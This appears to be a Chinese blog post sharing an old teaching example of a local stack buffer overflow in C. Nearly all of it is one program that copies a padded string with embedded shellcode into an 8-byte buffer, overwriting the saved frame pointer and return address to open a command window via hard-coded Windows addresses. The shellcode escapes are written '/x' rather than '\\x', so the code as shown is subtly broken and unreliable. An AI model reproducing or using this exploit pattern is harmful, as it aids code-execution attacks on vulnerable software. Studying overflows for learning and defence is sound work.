以前写的本地溢出的C代码



共享一下以前学习溢出的例子,
#include<string.h>
char stackSpace[] =
"AAAAAAAA" //stackSpace[0-7]
"AAAA"  //EBP
//ShellCode 开DOS窗口
"/x12/x45/xfa/x7f/x55/x8B/xEC/x33"
"/xC0/x50/x50/x50/xC6/x45/xF4/x4D"
"/xC6/x45/xF5/x53/xC6/x45/xF6/x56"
"/xC6/x45/xF7/x43/xC6/x45/xF8/x52"
"/xC6/x45/xF9/x54/xC6/x45/xFA/x2E"
"/xC6/x45/xFB/x44/xC6/x45/xFC/x4C"
"/xC6/x45/xFD/x4C/xBA/x77/x1d/x80"
"/x7c/x52/x8D/x45/xF4/x50/xFF/x55"
"/xF0/x55/x8B/xEC/x83/xEC/x2C/xB8"
"/x63/x6F/x6D/x6D/x89/x45/xF4/xB8"
"/x61/x6E/x64/x2E/x89/x45/xF8/xB8"
"/x63/x6F/x6D/x22/x89/x45/xFC/x33"
"/xD2/x88/x55/xFF/x8D/x45/xF4/x50"
"/xB8/xc7/x93/xbf/x77/xFF/xD0/x83"
"/xC4/x12/x5D";
int main()
{
 char output[8];
 int i;
 strcpy(output, stackSpace);
 for(i=0;i<8&&output[i];i++)
  printf("//0x%x",output[i]);
 return 0;
}
VC6.0编译通过。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值